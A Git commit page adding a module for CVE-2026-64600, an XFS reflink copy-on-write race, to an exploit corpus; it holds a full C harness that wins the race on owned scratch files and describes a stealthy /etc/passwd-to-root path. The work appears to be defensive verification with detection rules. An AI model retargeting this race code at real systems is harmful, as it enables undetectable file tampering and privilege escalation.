modules: add refluxfs (CVE-2026-64600, "RefluXFS" XFS reflink CoW ILOCK race)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Adds the corpus's first XFS module and its first data-oriented kernel bug —
every other kernel entry corrupts memory; this one corrupts file contents.
xfs_direct_write_iomap_begin() reads the data-fork extent map under ILOCK,
then xfs_reflink_fill_cow_hole() drops ILOCK to wait for transaction log
space. On reacquiring it, the code re-queries the refcount btree at the
ORIGINAL imap->br_startblock and never re-reads the data fork. A second
O_DIRECT writer holding only IOLOCK completes a whole CoW cycle in that
window, so the first writer's stale mapping sees refcount 1, treats a
still-shared block as private, and writes to it in place — landing its data
on the reflink source file's on-disk blocks.
The primitive is an arbitrary overwrite of the on-disk contents of any
readable file, which has three consequences that drive the design:
- No offsets, no ROP, no KASLR/SMEP/SMAP; SELinux, containers and seccomp
are all irrelevant.
- The victim's inode is never written, so mtime/ctime/size never change
and nothing is logged — FIM and `-w /etc/passwd -p wa` cannot see it.
- The change persists across reboots.
Introduced 4.11 (3c68d44a2b49); fixed 2f4acd0fcd86 (mainline 7.2-rc4,
merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96. Exposure is
distro-shaped: RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server
>= 31 and Amazon Linux 2023 ship XFS+reflink by default.
detect() is not a pure version gate — reachability here is safely
observable, so it pairs the backport table with a real storage precondition
(writable XFS via statfs XFS_SUPER_MAGIC, deliberately not via a successful
FICLONE since btrfs implements that too and is unaffected). --active
confirms reflink via FICLONE; SKELETONKEY_XFS_ASSUME_REFLINK=1/0 overrides.
On rpm-family hosts it warns that vendors backport without bumping the
upstream version, so the verdict speaks only to the upstream base.
exploit() forks a child that works only in a private mkdtemp scratch dir on
two files it owns: it establishes a shared extent (FICLONE, corroborated by
FIEMAP_EXTENT_SHARED) plus an O_DIRECT gate, then races a hard-bounded
8 writers / 2 helpers / 16 rounds / 2s and stops, reading the donor back
with O_DIRECT. Deliberately under-driven, and it never clones or targets a
file it does not own — the /etc/passwd overwrite -> su -> root step is
documented but NOT bundled. Always returns EXPLOIT_FAIL.
Safety rank 55, far above bad_epoll (12) and ghostlock (11): a won race
corrupts 4 KiB of our own scratch file and cannot touch kernel memory, so
there is no oops/KASAN/panic path.
Detection inverts the usual advice. auditd/sigma anchor on ioctl request
0x40049409 (FICLONE, matched exactly) and openat O_DIRECT; falco adds the
cross-uid reflink condition; and the yara rule is genuinely the right tool
here, matching the on-disk artifact because FIM is structurally blind.
VM-VERIFIED 2026-07-23 — the corpus's first rpm-family verification, taking
the empirical count to 29 of 41 CVEs. Rocky Linux 9.8 /
5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, stock GenericCloud layout
with no provisioner changes (root is XFS with reflink=1 out of the box).
detect() -> VULNERABLE, --active FICLONE witness confirmed reflink, phase A
observed FIEMAP_EXTENT_SHARED on a real shared extent, scratch self-cleaned,
clean build on el9 gcc. The underlying bug was separately confirmed winnable
on that kernel via tools/verify-vm/refluxfs_verify.c at the public PoC's
parameters (32 writers / 8 helpers, 60s): 4/4 runs won, first divergence
after 69/114/170/494 rounds. The shipped under-driven trigger did NOT win in
its 2s budget on that same vulnerable kernel — intended behaviour, and
exactly why a non-win must never be read as "patched".
14 new detect() unit rows (148 tests total, 0 failures). Bumps to v0.9.14.
Credit: Qualys Threat Research Unit (blog by Saeed Abbasi; the technical
advisory credits model-assisted kernel analysis performed with Anthropic),
and the upstream XFS maintainers who fixed it.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -0,0 +1,155 @@
|
||||
/*
|
||||
* refluxfs_verify.c — VM-ONLY verification harness for CVE-2026-64600.
|
||||
*
|
||||
* NOT part of SKELETONKEY. This exists to answer one question that the
|
||||
* shipped module deliberately refuses to answer: is THIS kernel actually
|
||||
* vulnerable? The shipped trigger is intentionally under-driven (8 writers /
|
||||
* 2 helpers / 2s) so it never grinds toward a win on a production box. Here,
|
||||
* inside a throwaway VM, we drive it at the public PoC's parameters
|
||||
* (32 writers / 8 helpers) for a real time budget.
|
||||
*
|
||||
* It is still confined to files THIS USER OWNS in a private scratch dir. It
|
||||
* does not clone, read, or touch /etc/passwd or any other file we do not own.
|
||||
* A win corrupts 4 KiB of our own donor file and nothing else.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <stdatomic.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define BLK 4096u
|
||||
#define ALIGN 4096u
|
||||
#define DONOR_BYTE 0x5a
|
||||
#define ATTACK_BYTE 0x41
|
||||
|
||||
#ifndef FICLONE
|
||||
#define FICLONE _IOW(0x94, 9, int)
|
||||
#endif
|
||||
|
||||
static int WRITERS = 32; /* public PoC parameter */
|
||||
static int HELPERS = 8; /* public PoC parameter */
|
||||
static int BUDGET = 60; /* seconds */
|
||||
|
||||
static char donor[1024], clonep[1024];
|
||||
static atomic_int gate, stop;
|
||||
|
||||
static void *writer_fn(void *a)
|
||||
{
|
||||
(void)a;
|
||||
int fd = open(clonep, O_RDWR | O_DIRECT);
|
||||
if (fd < 0) return NULL;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return NULL; }
|
||||
memset(buf, ATTACK_BYTE, BLK);
|
||||
while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
|
||||
(void)!pwrite(fd, buf, BLK, 0);
|
||||
free(buf); close(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *helper_fn(void *a)
|
||||
{
|
||||
(void)a;
|
||||
int fd = open(clonep, O_RDWR);
|
||||
if (fd < 0) return NULL;
|
||||
while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
|
||||
while (!atomic_load_explicit(&stop, memory_order_acquire)) {
|
||||
(void)!ftruncate(fd, (off_t)BLK * 2); (void)fdatasync(fd);
|
||||
(void)!ftruncate(fd, (off_t)BLK); (void)fdatasync(fd);
|
||||
}
|
||||
close(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int build_pair(void)
|
||||
{
|
||||
int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||
if (dfd < 0) return -1;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(dfd); return -1; }
|
||||
memset(buf, DONOR_BYTE, BLK);
|
||||
ssize_t w = pwrite(dfd, buf, BLK, 0);
|
||||
free(buf);
|
||||
if (w != (ssize_t)BLK) { close(dfd); return -1; }
|
||||
(void)fsync(dfd);
|
||||
|
||||
int cfd = open(clonep, O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||
if (cfd < 0) { close(dfd); return -1; }
|
||||
int rc = ioctl(cfd, FICLONE, dfd) == 0 ? 0 : -1;
|
||||
(void)fsync(cfd);
|
||||
close(cfd); close(dfd);
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* O_DIRECT read: the corruption lands under the inode, so a buffered read
|
||||
* would be served from a stale (correct-looking) page and hide a win. */
|
||||
static int donor_diverged(void)
|
||||
{
|
||||
int fd = open(donor, O_RDONLY | O_DIRECT);
|
||||
if (fd < 0) return -1;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return -1; }
|
||||
int rc = -1;
|
||||
if (pread(fd, buf, BLK, 0) == (ssize_t)BLK) {
|
||||
const unsigned char *p = buf;
|
||||
rc = 0;
|
||||
for (size_t i = 0; i < BLK; i++) if (p[i] != DONOR_BYTE) { rc = 1; break; }
|
||||
}
|
||||
free(buf); close(fd);
|
||||
return rc;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *dir = argc > 1 ? argv[1] : "/var/tmp";
|
||||
if (argc > 2) BUDGET = atoi(argv[2]);
|
||||
|
||||
char scratch[1024];
|
||||
snprintf(scratch, sizeof scratch, "%s/rfxverify-XXXXXX", dir);
|
||||
if (!mkdtemp(scratch)) { perror("mkdtemp"); return 1; }
|
||||
snprintf(donor, sizeof donor, "%s/donor", scratch);
|
||||
snprintf(clonep, sizeof clonep, "%s/clone", scratch);
|
||||
|
||||
printf("[*] refluxfs verify: %d writers, %d helpers, %ds budget, scratch=%s\n",
|
||||
WRITERS, HELPERS, BUDGET, scratch);
|
||||
|
||||
pthread_t *w = calloc(WRITERS, sizeof *w);
|
||||
pthread_t *h = calloc(HELPERS, sizeof *h);
|
||||
int won = 0; long rounds = 0;
|
||||
time_t deadline = time(NULL) + BUDGET;
|
||||
|
||||
while (time(NULL) < deadline && !won) {
|
||||
if (build_pair() != 0) { fprintf(stderr, "[-] FICLONE failed\n"); break; }
|
||||
atomic_store(&gate, 0); atomic_store(&stop, 0);
|
||||
|
||||
int nw = 0, nh = 0;
|
||||
for (int i = 0; i < WRITERS; i++) if (!pthread_create(&w[nw], NULL, writer_fn, NULL)) nw++;
|
||||
for (int i = 0; i < HELPERS; i++) if (!pthread_create(&h[nh], NULL, helper_fn, NULL)) nh++;
|
||||
usleep(1500);
|
||||
atomic_store(&gate, 1);
|
||||
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
|
||||
atomic_store(&stop, 1);
|
||||
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
|
||||
|
||||
rounds++;
|
||||
if (donor_diverged() == 1) won = 1;
|
||||
if ((rounds % 200) == 0) { printf(" ... %ld rounds\n", rounds); fflush(stdout); }
|
||||
}
|
||||
|
||||
printf("%s after %ld rounds\n",
|
||||
won ? "[!] RACE WON — donor's on-disk bytes were rewritten through a still-shared block"
|
||||
: "[i] no divergence observed", rounds);
|
||||
|
||||
unlink(donor); unlink(clonep); rmdir(scratch);
|
||||
free(w); free(h);
|
||||
return won ? 2 : 0;
|
||||
}
|
||||
Reference in New Issue
Block a user